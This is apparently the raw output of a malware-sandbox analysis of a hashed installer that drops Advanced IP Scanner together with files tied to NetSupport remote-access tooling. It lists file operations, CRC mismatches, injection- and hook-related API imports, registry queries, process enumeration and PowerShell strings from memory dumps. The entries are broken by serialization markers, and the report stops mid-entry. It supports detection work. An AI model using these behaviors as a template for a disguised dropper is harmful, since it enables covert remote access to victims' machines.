"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" opened "C:\Program Files (x86)\Advanced IP Scanner\is-RDOSR.tmp" with delete access "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" opened "C:\Program Files (x86)\Advanced IP Scanner\is-VB04V.tmp" with delete access "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" opened "C:\Program Files (x86)\Advanced IP Scanner\is-H2F8P.tmp" with delete access "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" opened "C:\Program Files (x86)\Advanced IP Scanner\is-QLP43.tmp" with delete access "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" opened "C:\Program Files (x86)\Advanced IP Scanner\is-9S9LT.tmp" with delete access "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" opened "C:\Program Files (x86)\Advanced IP Scanner\is-EC0T8.tmp" with delete access "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" opened "C:\Program Files (x86)\Advanced IP Scanner\is-LSJ97.tmp" with delete access "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" opened "C:\Program Files (x86)\Advanced IP Scanner\is-A8E9A.tmp" with delete access "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" opened "C:\Program Files (x86)\Advanced IP Scanner\is-1COUU.tmp" with delete access "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" opened "C:\Program Files (x86)\Advanced IP Scanner\is-OD8LA.tmp" with delete access "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" opened "C:\Program Files (x86)\Advanced IP Scanner\is-4O2OG.tmp" with delete access "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" opened "C:\Program Files (x86)\Advanced IP Scanner\is-JJ78K.tmp" with delete access "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" opened "C:\Program Files (x86)\Advanced IP Scanner\is-PSFQK.tmp" with delete access "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" opened "C:\Program Files (x86)\Advanced IP Scanner\is-CRSQS.tmp" with delete access "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" opened "C:\Program Files (x86)\Advanced IP Scanner\is-PSGRB.tmp" with delete access "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" opened "C:\Program Files (x86)\Advanced IP Scanner\is-7ORPS.tmp" with delete access "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" opened "C:\Program Files (x86)\Advanced IP Scanner\is-K8SVQ.tmp" with delete access "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" opened "C:\Program Files (x86)\Advanced IP Scanner\is-1PUVN.tmp" with delete access "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" opened "C:\Program Files (x86)\Advanced IP Scanner\is-ITTAG.tmp" with delete access "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" opened "C:\Program Files (x86)\Advanced IP Scanner\is-VE2OO.tmp" with delete access "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" opened "C:\Program Files (x86)\Advanced IP Scanner\is-QDAP6.tmp" with delete access "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" opened "C:\Program Files (x86)\Advanced IP Scanner\is-9IQPI.tmp" with delete access "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" opened "C:\Program Files (x86)\Advanced IP Scanner\is-92QIO.tmp" with delete access97:T671,"client32.exe" claimed CRC 135698 while the actual is CRC 21448471 "AudioCapture.dll" claimed CRC 157237 while the actual is CRC 135698 "remcmdstub.exe" claimed CRC 104604 while the actual is CRC 157237 "pcicapi.dll" claimed CRC 57253 while the actual is CRC 104604 "PCICL32.DLL" claimed CRC 3669272 while the actual is CRC 57253 "is-RDOSR.tmp" claimed CRC 1737114 while the actual is CRC 3334027 "is-44761.tmp" claimed CRC 1426579 while the actual is CRC 1737114 "is-QB4I9.tmp" claimed CRC 1192900 while the actual is CRC 1426579 "is-HK8T3.tmp" claimed CRC 1174921 while the actual is CRC 1192900 "is-OGV90.tmp" claimed CRC 511106 while the actual is CRC 1174921 "TCCTL32.DLL" claimed CRC 500529 while the actual is CRC 511106 "is-9R196.tmp" claimed CRC 492575 while the actual is CRC 500529 "is-9S9LT.tmp" claimed CRC 416747 while the actual is CRC 492575 "HTCTL32.DLL" claimed CRC 345917 while the actual is CRC 416747 "is-MDSR5.tmp" claimed CRC 390396 while the actual is CRC 345917 "is-9HESL.tmp" claimed CRC 327120 while the actual is CRC 390396 "is-GITR0.tmp" claimed CRC 333109 while the actual is CRC 327120 "is-SMMFE.tmp" claimed CRC 285759 while the actual is CRC 333109 "is-C398I.tmp" claimed CRC 141428 while the actual is CRC 285759 "is-3RCEH.tmp" claimed CRC 87328 while the actual is CRC 141428 "is-USEBL.tmp" claimed CRC 79360 while the actual is CRC 87328 "is-QPD72.tmp" claimed CRC 71777 while the actual is CRC 79360 "is-40SJ6.tmp" claimed CRC 38782 while the actual is CRC 71777 "is-5QITJ.tmp" claimed CRC 68674 while the actual is CRC 38782 "is-96QPJ.tmp" claimed CRC 61576 while the actual is CRC 6867498:T7a8,RegOpenKeyExW OpenProcessToken RegCloseKey WriteFile LoadLibraryW GetProcAddress DeleteFileW VirtualProtect CreateProcessW FindResourceW GetModuleFileNameW GetDriveTypeW LoadLibraryA UnhandledExceptionFilter CreateFileW GetTickCount GetModuleHandleW GetStartupInfoW LoadLibraryExW VirtualAlloc CreateThread GetCommandLineW ExitThread CreateDirectoryW GetSystemInfo GetFileSize LockResource FindFirstFileW Sleep GetFileAttributesW GetVersionExW GetSystemDirectoryW GetModuleHandleA GetStartupInfoA GetCommandLineA IsDebuggerPresent GetModuleFileNameA TerminateProcess CreateProcessA GetVersionExA GetTempPathA OutputDebugStringA OpenProcess RegEnumKeyExA SetSecurityDescriptorDacl RegDeleteKeyA RegCreateKeyExA StartServiceA RegOpenKeyExA CreateProcessAsUserA RegCreateKeyA GetUserNameW RegDeleteValueA GetUserNameA StartServiceCtrlDispatcherA FindResourceExA MapViewOfFile OpenFileMappingA CopyFileA FindResourceA CreateRemoteThread DeviceIoControl CreateFileMappingA DeleteFileA GetFileAttributesA CreateFileA CreateDirectoryA GetThreadContext LoadLibraryExA ReadProcessMemory ConnectNamedPipe GetSystemDirectoryA GetTempFileNameA FindFirstFileA GetDriveTypeA GetComputerNameA DisconnectNamedPipe FindNextFileA WriteProcessMemory VirtualProtectEx WinExec ShellExecuteA GetWindowThreadProcessId GetLastActivePopup FindWindowA FindWindowExA SetWindowsHookExA GetUpdateRect GetClipboardData GetCursorPos InternetCrackUrlA EnumPrintersA socket send WSAStartup recv listen closesocket connect bind accept RegEnumKeyExW RegDeleteValueW RegDeleteKeyW RegCreateKeyExW CopyFileW GetLogicalDrives GetComputerNameW FindNextFileW WNetOpenEnumW ShellExecuteW ShellExecuteExW SetWindowsHookExW FindWindowExW FindWindowW IcmpSendEcho GetTempPathW NetShareEnum recvfrom sendto CheckRemoteDebuggerPresent WSASocketW WSASendTo WSASend OutputDebugStringW99:Tb44,Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00004600.00000000.119924.005A0000.00000004.mdmp, 00000000-00004600.00000000.119924.07170000.00000004.mdmp, 00000000-00004600.00000001.120699.005A0000.00000004.mdmp, 00000000-00004600.00000001.120699.07170000.00000004.mdmp, 00000000-00004600.00000001.120699.0723E000.00000004.mdmp") Found string ".Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00004600.00000000.119924.005A0000.00000004.mdmp") Found string "2,"System.Management.Automation Version=3.0.0.0 Culture=neutral PublicKeyToken=31bf3856ad364e35",0" (Source: "00000000-00004600.00000000.119924.005A0000.00000004.mdmp, 00000000-00004600.00000001.120699.005A0000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00004600.00000000.119924.005A0000.00000004.mdmp, 00000000-00004600.00000001.120699.005A0000.00000004.mdmp") Found string "$errorRecord = [System.Management.Automation.ErrorRecord]::new($_.Exception,"NewTemporaryFileWriteError", "WriteError", $env:TEMP)" (Source: "00000000-00004600.00000000.119924.07170000.00000004.mdmp, 00000000-00004600.00000001.120699.07170000.00000004.mdmp") Found string "Write-Error -Message $errorMessage -Category ([System.Management.Automation.ErrorCategory]::InvalidData) -ErrorId "FormatHexResolvePathError"" (Source: "00000000-00004600.00000000.119924.07170000.00000004.mdmp") Found string "Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00004600.00000001.120699.005A0000.00000004.mdmp") Found string "System.Management.Automation.resources" (Source: "00000000-00004600.00000001.120699.07170000.00000004.mdmp") Found string "System.Management.Automationx" (Source: "00000000-00004600.00000001.120699.07170000.00000004.mdmp") Found string "$errorRecord = CreateErrorRecordHelper "ArchiveCmdletPathNotFound" $null ([System.Management.Automation.ErrorCategory]::InvalidArgument) $exception $currentPath" (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "ThrowTerminatingErrorHelper "PathNotFound" $errorMessage ([System.Management.Automation.ErrorCategory]::InvalidArgument) $currentPath" (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "ThrowTerminatingErrorHelper "DuplicatePathFound" $errorMessage ([System.Management.Automation.ErrorCategory]::InvalidArgument) $currentPath" (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "??\C:\WINDOWS\symbols\dll\System.Management.Automation.pdb" (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "System.Management.Automation.pdb" (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp")9a:Tf8c,Found string "System.IO.Compression.ZipFile" (Source: "00000000-00004600.00000001.120699.00C51000.00000020.mdmp") Found string "system.io.compression.filesystem.dll" (Source: "00000000-00004600.00000001.120699.085E0000.00000004.mdmp") Found string "[string] $compressionLevel" (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "$compressionLevelFormat = [System.IO.Compression.CompressionLevel]::Optimal" (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "switch($compressionLevel.ToString())" (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "$compressionLevelFormat = [System.IO.Compression.CompressionLevel]::Fastest" (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "$compressionLevelFormat = [System.IO.Compression.CompressionLevel]::NoCompression" (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "return $compressionLevelFormat" (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "[string] $compressionLevel," (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "$count = CompressSingleDirHelper $currentSourceDirPath $destinationPath $compressionLevel $true $isUpdateMode $previousSegmentWeight $currentSegmentWeight" (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "$numberOfItemsArchived = CompressFilesHelper $sourceFilePaths $destinationPath $compressionLevel $isUpdateMode $previousSegmentWeight $currentSegmentWeight" (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "$count = CompressFilesHelper $sourceFilePaths $destinationPath $compressionLevel $isUpdateMode $previousSegmentWeight $currentSegmentWeight" (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "[string] $compressionLe" (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "$numberOfItemsArchived = ZipArchiveHelper $sourceFilePaths $destinationPath $compressionLevel $isUpdateMode $null $previousSegmentWeight $currentSegmentWeight" (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "[string] $compressionLevel," (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "$numberOfItemsArchived = ZipArchiveHelper $subDirFiles.ToArray() $destinationPath $compressionLevel $isUpdateMode $modifiedSourceDirFullName $previousSegmentWeight $currentSegmentWeight" (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "function ZipArchiveHelper" (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "$zipArchiveArgs = @($archiveFileStream, [System.IO.Compression.ZipArchiveMode]::Update, $false)" (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "$zipArchive = New-Object -TypeName System.IO.Compression.ZipArchive -ArgumentList $zipArchiveArgs" (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "elper $subDirFiles.ToArray() $destinationPath $compressionLevel $isUpdateMode $modiJ" (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "pression.ZipArchive -Ar;" (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "$compression" (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "system.io.compression.dll" (Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "system.io.compression" (Source: "00000000-00004600.00000001.120699.089A0000.00000004.mdmp, 00000000-00004600.00000001.120699.089B0000.00000004.mdmp, 00000000-00004600.00000001.120699.09900000.00000004.mdmp") Found string "compressionmode" (Source: "00000000-00004600.00000001.120699.089A0000.00000004.mdmp, 00000000-00004600.00000001.120699.09900000.00000004.mdmp")9b:T410,Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "OpenThread" (Indicator: "OpenThread"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe")9c:Tb1e,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "OPEN"; Path: "HKCU\FOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\FOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "OPEN"; Path: "HKCU\ALLFILESYSTEMOBJECTS") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\ALLFILESYSTEMOBJECTS") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DRIVEICONS\C\DEFAULTICON") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "OPEN"; Path: "HKCU\APPLICATIONS\EXPLORER.EXE\DRIVES\C\DEFAULTICON") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\APPLICATIONS\EXPLORER.EXE\DRIVES\C\DEFAULTICON") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{2155FEE3-2419-4373-B102-6843707EB41F}\TREATAS") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{2155FEE3-2419-4373-B102-6843707EB41F}\TREATAS") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{2155FEE3-2419-4373-B102-6843707EB41F}\INPROCSERVER32") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{2155FEE3-2419-4373-B102-6843707EB41F}\INPROCSERVER32") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{2155FEE3-2419-4373-B102-6843707EB41F}\INPROCSERVER32") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{2155FEE3-2419-4373-B102-6843707EB41F}\INPROCSERVER32")9d:Td01,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" queried SystemProcessInformation at 00000000-00004852-00000C15-771026336 [PID: 4852] "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" queried SystemProcessInformation at 00000000-00004852-00000C15-771034722 [PID: 4852] "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" queried SystemProcessInformation at 00000000-00004852-00000C15-771249286 [PID: 4852] "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" queried SystemProcessInformation at 00000000-00004852-00000C15-771257918 [PID: 4852] "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" queried SystemProcessInformation at 00000000-00004852-00000C15-771443259 [PID: 4852] "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" queried SystemProcessInformation at 00000000-00004852-00000C15-771452265 [PID: 4852] "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" queried SystemProcessInformation at 00000000-00004944-00000C15-772952427 [PID: 4944] "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" queried SystemProcessInformation at 00000000-00004944-00000C15-772961867 [PID: 4944] "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" queried SystemProcessInformation at 00000000-00004944-00000C15-773487573 [PID: 4944] "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" queried SystemProcessInformation at 00000000-00004944-00000C15-773495401 [PID: 4944] "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" queried SystemProcessInformation at 00000000-00004944-00000C15-773596082 [PID: 4944] "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" queried SystemProcessInformation at 00000000-00004944-00000C15-773603844 [PID: 4944] "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" queried SystemProcessInformation at 00000000-00004944-00000C15-806201334 [PID: 4944] "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" queried SystemProcessInformation at 00000000-00004944-00000C15-806209081 [PID: 4944] "powershell.exe" queried SystemProcessInformation at 00000000-00004600-00000C15-812146361 [PID: 4600] "powershell.exe" queried SystemProcessInformation at 00000000-00004600-00000C15-812155455 [PID: 4600] "powershell.exe" queried SystemProcessInformation at 00000000-00004600-00000C15-813674797 [PID: 4600] "powershell.exe" queried SystemProcessInformation at 00000000-00004600-00000C15-813682597 [PID: 4600] "powershell.exe" queried SystemProcessInformation at 00000000-00004600-00000C15-814602418 [PID: 4600] "powershell.exe" queried SystemProcessInformation at 00000000-00004600-00000C15-814612844 [PID: 4600] "powershell.exe" queried SystemProcessInformation at 00000000-00004600-00000C15-815182640 [PID: 4600] "powershell.exe" queried SystemProcessInformation at 00000000-00004600-00000C15-815191835 [PID: 4600] "powershell.exe" queried SystemProcessInformation at 00000000-00004600-00000C15-815515113 [PID: 4600] "powershell.exe" queried SystemProcessInformation at 00000000-00004600-00000C15-815537547 [PID: 4600] "powershell.exe" queried SystemProcessInformation at 00000000-00004600-00000C15-817106478 [PID: 4600]9e:T5ba,Found reference to API "GetUserDefaultLangID" (Indicator: "GetUserDefaultLangID"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetSystemDefaultUILanguage" (Indicator: "GetSystemDefaultUILanguage"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetSystemDefaultLangID" (Indicator: "GetSystemDefaultLangID"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetKeyboardLayout" (Indicator: "GetKeyboardLayout"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetKeyboardLayoutList" (Indicator: "GetKeyboardLayoutList"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetKeyboardLayoutNameW" (Indicator: "GetKeyboardLayout"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetSystemDefaultUILanguage" (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00004600.00000000.119924.00C61000.00000002.mdmp") Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00004600.00000000.119924.00C61000.00000002.mdmp")9f:T402,Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe] Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: pcicapi.dll] Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: PCICL32.DLL] Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: is-CU9QC.tmp] Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp] Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: is-NHVD6.tmp] Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: TCCTL32.DLL] Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: HTCTL32.DLL]a0:T1900,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "MoveFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\is-CU9QC.tmp & %PROGRAMFILES%\(x86)\Advanced IP Scanner\unins000.exe (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "MoveFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\is-FM1T2.tmp & %PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner.exe (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "MoveFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\is-O89NP.tmp & %PROGRAMFILES%\(x86)\Advanced IP Scanner\Advanced_IP_Scanner.ico (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "MoveFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\is-Q25VJ.tmp & %PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_ar_sa.qm (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "MoveFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\is-H74HU.tmp & %PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_bg_bg.qm (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "MoveFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\is-S4S5Q.tmp & %PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_console.exe (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "MoveFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\is-1IK2H.tmp & %PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_cs_cz.qm (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "MoveFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\is-LLSGA.tmp & %PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_da_dk.qm (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "MoveFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\is-A53CI.tmp & %PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_de_de.qm (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "MoveFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\is-8ATDV.tmp & %PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_el_gr.qm (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "MoveFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\is-64TQ7.tmp & %PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_en_us.qm (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "MoveFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\is-L4UHQ.tmp & %PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_es_es.qm (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "MoveFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\is-UT4B0.tmp & %PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_et_ee.qm (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "MoveFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\is-2PJP8.tmp & %PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_fa_ir.qm (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "MoveFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\is-SI5HK.tmp & %PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_fi_fi.qm (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "MoveFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\is-6OT1Q.tmp & %PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_fr_fr.qm (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called 